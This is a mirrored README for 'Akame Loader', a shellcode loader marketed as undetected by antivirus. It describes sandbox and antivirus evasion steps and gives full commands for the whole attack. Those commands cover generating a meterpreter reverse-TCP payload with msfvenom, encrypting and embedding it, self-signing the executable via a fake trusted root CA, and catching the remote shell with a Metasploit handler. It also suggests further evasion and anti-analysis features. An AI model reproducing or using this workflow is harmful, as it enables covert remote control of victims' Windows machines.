Giter Club home page Giter Club logo

akame-loader's Introduction

Akame Loader

An open source, UD (3/71) shellcode loader written in C++17

Details

Icon: https://icon-icons.com/icon/Halloween-eye/109170

Name Details
Name Akame Loader
Author WtfIsThis
Language C++17
Platform Windows
Version 1.0
License MIT
Libraries kernel32, advapi32, crypt32
Encryption AES256
Build Release - x64

! If you change the encryption method and want to keep your executable UD for a longer period of time, don't use VirusTotal / AntiScan.me / any other site that distributes to security vendors.

How does it work?

  1. Uses WINAPI WinMain so it doesn't popup any console window
  2. Checks the current hard disk, if the size is under 100GB it closes itself
  3. Sleeps for 10000ms (10s)
  4. Checks if any tickcount-related function was manipulated by a sandbox (by checking the hashes and comparing the time slept with the time elapsed on the machine), if something seems wrong, it closes itself
  5. Stores the IV, the encryption Key, and the encrypted payload as vectors
  6. Allocates a memory buffer for the payload
  7. Decrypts the payload (aes256) and closes itself if something doesn't work correctly
  8. Copies the payload to a new buffer
  9. Makes the new buffer as executable (This is not done during the first allocation because it's suspicious that a memory space is ReadWriteExecute at the same time and AVs may flag it!)
  10. Executes the payload with an infinite thread (when the shellcode sends an 'exit' command, the process will close)

How to build?

1. Generate a shellcode with metasploit

  • msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f raw > shellcode.bin

2. Encrypt your shellcode with encrypt.exe

  • mv shellcode.bin \Akame Loader\x64\Release\Resources\
  • cd \Akame Loader\x64\Release\Resources\
  • (optional) encrypt --help
  • encrypt.exe -l cpp -m shellcode.bin -e random -o cli

3. Copy the output and paste it under the "payload" comment

  • Paste your IV key, your KEY and your BUFF into the existent vectors

4. Change the resources

  • Add your icon, your company name, etc.

5. Build the project

  • Platform Toolset: Visual Studio 2022 (v143)
  • Language standard: ISO C++17
  • Optimization: /O2
  • Configuration: Release
  • Platform: x64
  • Runtime Library: Multi-Threaded (/MT)
  • SubSystem: Windows
  • Dependencies: user32.lib;advapi32.lib;crypt32.lib;
  • Generate debug info: No

6. Add a certificate to your executable
! Change "Akame.exe" to your executable and AkameCert/AkameCA to whatever you want

  • move Akame.exe Resources && cd Resources
  • makecert.exe -r -pe -n "CN=Akame CA" -ss CA -sr CurrentUser -a sha256 -cy authority -sky signature -sv AkameCA.pvk AkameCA.cer
  • certutil -user -addstore Root AkameCA.cer
  • makecert.exe -pe -n "CN=Akame Cert" -a sha256 -cy end -sky signature -ic AkameCA.cer -iv AkameCA.pvk -sv AkameCert.pvk AkameCert.cer
  • pvk2pfx.exe -pvk AkameCert.pvk -spc AkameCert.cer -pfx AkameCert.pfx
  • signtool.exe sign /v /f AkameCert.pfx /t http://timestamp.digicert.com/?alg=sha1 Akame.exe

7. Listen for incomming connections

  • msfconsole -q
  • use exploit/multi/handler
  • set payload windows/x64/meterpreter/reverse_tcp
  • (optional) show options
  • set LHOST IP
  • set LPORT PORT
  • exploit

Video POC

Platform: Windows 10 x64
Antivirus: Windows Defender 24/10/2022

Meterpreter.Shellcode.Example.mp4
! 720p because I can't upload video files bigger than 10MB on github
! Blackscreens in the video caused by UAC

VirusTotal Scan (3/71 security vendors and no sandboxes on 24/10/2022)

I uploaded the loader to Virus Total because I don't want this to be used for malicious purposes!
The shellcode used was generated with metasploit (payload: windows/x64/meterpreter/reverse_tcp) and encrypted by \resources\encrypt.exe.
The loader was build with VS22 and signed with a sha1 certificate

File Scan
File Details
Link: https://www.virustotal.com/gui/file/68e6a25457093584a043ed3f721be9bc9b6456edd792cb4e30054e85bdc4119f?nocache=1

What should be added to make it more advanced / functional?

  • More anti analysis techniques (checking for suspicious files, directories, processes and windows' names)
  • Anti debugging (detecting analysis in general)
  • Anti static analysis (function call obfuscation and also finding kernel32 location in the process environment block to avoid using GetModuleHandle() and GetProcAddress())
  • Adding 'fake' imports to fill the import table and make it look more legitimate

Properties

File

  • Name: Akame.exe
  • Architecture: x64
  • File size: 170336 bytes

Hashes

  • MD5: 560e4432cdbf26332fd3795cf3647cb7
  • SHA1: ffd9942abb6dff4467456b06af2e2742427aff46
  • SHA256: 68e6a25457093584a043ed3f721be9bc9b6456edd792cb4e30054e85bdc4119f

Table of Imports

- ADVAPI32.dll: 9 functions CryptAcquireContextW, 194
CryptCreateHash, 196
CryptDecrypt, 197
CryptDeriveKey, 198
CryptDestroyHash, 199
CryptDestroyKey, 200
CryptHashData, 217
CryptReleaseContext, 220
CryptSetKeyParam, 222
- KERNEL32.dll: 72 functions CloseHandle, 137
CreateFileW, 206
CreateThread, 245
DeleteCriticalSection, 276
DeviceIoControl, 292
EnterCriticalSection, 312
ExitProcess, 359
FindClose, 382
FindFirstFileExW, 388
FindNextFileW, 405
FlushFileBuffers, 424
FreeEnvironmentStringsW, 435
FreeLibrary, 436
GetACP, 443
GetCommandLineA, 479
GetCommandLineW, 480
GetConsoleMode, 517
GetConsoleOutputCP, 521
GetCPInfo, 458
GetCurrentProcess, 544
GetCurrentProcessId, 545
GetCurrentThreadId, 549
GetEnvironmentStringsW, 577
GetFileType, 600
GetLastError, 618
GetModuleFileNameW, 637
GetModuleHandleExW, 640
GetModuleHandleW, 641
GetOEMCP, 673
GetProcAddress, 696
GetProcessHeap, 702
GetStartupInfoW, 730
GetStdHandle, 732
GetStringTypeW, 737
GetSystemTimeAsFileTime, 755
GetTickCount64, 786
HeapAlloc, 849
HeapFree, 853
HeapReAlloc, 856
HeapSize, 858
InitializeCriticalSectionAndSpinCount, 875
InitializeSListHead, 879
IsDebuggerPresent, 901
IsProcessorFeaturePresent, 908
IsValidCodePage, 914
LCMapStringW, 952
LeaveCriticalSection, 964
LoadLibraryExW, 970
MultiByteToWideChar, 1014
QueryPerformanceCounter, 1106
RaiseException, 1128
RtlCaptureContext, 1237
RtlLookupFunctionEntry, 1244
RtlUnwindEx, 1250
RtlVirtualUnwind, 1251
SetFilePointerEx, 1331
SetLastError, 1345
SetStdHandle, 1371
SetUnhandledExceptionFilter, 1407
Sleep, 1423
TerminateProcess, 1438
TlsAlloc, 1456
TlsFree, 1457
TlsGetValue, 1458
TlsSetValue, 1459
UnhandledExceptionFilter, 1472
VirtualAlloc, 1497
VirtualProtect, 1503
WaitForSingleObject, 1514
WideCharToMultiByte, 1553
WriteConsoleW, 1572
WriteFile, 1573

License

MIT License

Copyright (c) 2022 WtfIsThis

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

Disclaimer

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

akame-loader's People

Contributors

n3agu avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.